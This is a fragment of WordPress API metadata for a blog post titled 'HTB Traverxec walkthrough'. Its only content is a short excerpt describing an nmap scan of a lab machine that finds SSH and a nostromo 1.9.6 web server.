name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/__trashed\/#primaryimage\",\"url\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/1-bQgJYMwmg2FgIL_i9996hg.png\",\"contentUrl\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/1-bQgJYMwmg2FgIL_i9996hg.png\",\"width\":799,\"height\":514},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/__trashed\/\",\"url\":\"https:\/\/hacking.cool\/atomanya\/__trashed\/\",\"name\":\"HTB Traverxec walkthrough - hacking.cool\",\"isPartOf\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/__trashed\/#primaryimage\"},\"datePublished\":\"2022-08-10T12:13:49+00:00\",\"dateModified\":\"2024-03-18T20:45:21+00:00\",\"author\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/1c3060c2c9f3493114afde50f9b22bc6\"},\"breadcrumb\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/__trashed\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hacking.cool\/atomanya\/__trashed\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/__trashed\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hacking.cool\/atomanya\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"HTB Traverxec walkthrough\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/1c3060c2c9f3493114afde50f9b22bc6\",\"name\":\"Anya\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/e2e99aa0c5e7264f948b910a22231aa9?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/e2e99aa0c5e7264f948b910a22231aa9?s=96&d=mm&r=g\",\"caption\":\"Anya\"},\"url\":\"https:\/\/hacking.cool\/atomanya\/author\/anya\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HTB Traverxec walkthrough - hacking.cool","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hacking.cool\/atomanya\/__trashed\/","og_locale":"en_US","og_type":"article","og_title":"HTB Traverxec walkthrough - hacking.cool","og_description":"Hi everyone! Here is my second walkthrough. Let&#8217;s start with nmap: nmap -A 10.10.10.165 (We use -A flag for OS detection, version detection, script scanning and traceroute) As we can see, two ports are open: 22 &#8211; SSH, and 80 &#8211; HTTP. And we can notice the interesting web server nostromo 1.9.6. I suggest first&hellip;Read More","og_url":"https:\/\/hacking.cool\/atomanya\/__trashed\/","og_site_name":"hacking.cool","article_published_time":"2022-08-10T12:13:49+00:00","article_modified_time":"2024-03-18T20:45:21+00:00","og_image":[{"width":799,"height":514,"url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/1-bQgJYMwmg2FgIL_i9996hg.png","type":"image\/png"}],"author":"Anya","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Anya","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/hacking.cool\/atomanya\/#website","url":"https:\/\/hacking.cool\/atomanya\/","name":"hacking.cool","description":"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/__trashed\/#primaryimage","url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/1-bQgJYMwmg2FgIL_i9996hg.png","contentUrl":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/1-bQgJYMwmg2FgIL_i9996hg.png","width":799,"height":514},{"@type":"WebPage","@id":"https:\/\/hacking.cool\/atomanya\/__trashed\/","url":"https:\/\/hacking.cool\/atomanya\/__trashed\/","name":"HTB Traverxec walkthrough - hacking.cool","isPartOf":{"@id":"https:\/\/hacking.cool\/atomanya\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hacking.cool\/atomanya\/__trashed\/#primaryimage"},"datePublished":"2022-08-10T12:13:49+00:00","dateModified":"2024-03-18T20:45:21+00:00","author":{"@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/1c3060c2c9f3493114afde50f9b22bc6"},"breadcrumb":{"@id":"https:\/\/hacking.cool\/atomanya\/__trashed\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hacking.cool\/atomanya\/__trashed\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/hacking.cool\/atomanya\/__trashed\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hacking.cool\/atomanya\/"},{"@type":"ListItem","position":2,"name":"HTB Traverxec walkthrough"}]},{"@type":"Person","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/1c3060c2c9f3493114afde50f9b22bc6","name":"Anya","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/e2e99aa0c5e7264f948b910a22231aa9?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e2e99aa0c5e7264f948b910a22231aa9?s=96&d=mm&r=g","caption":"Anya"},"url":"https:\/\/hacking.cool\/atomanya\/author\/anya\/"}]}},"jetpack_featured_media_url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/1-bQgJYMwmg2FgIL_i9996hg.png","_links":{"self":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/311","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/comments?post=311"}],"version-history":[{"count":70,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/311\/revisions"}],"predecessor-version":[{"id":861,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/311\/revisions\/861"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media\/877"}],"wp:attachment":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media?parent=311"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/categories?post=311"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/tags?post=311"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}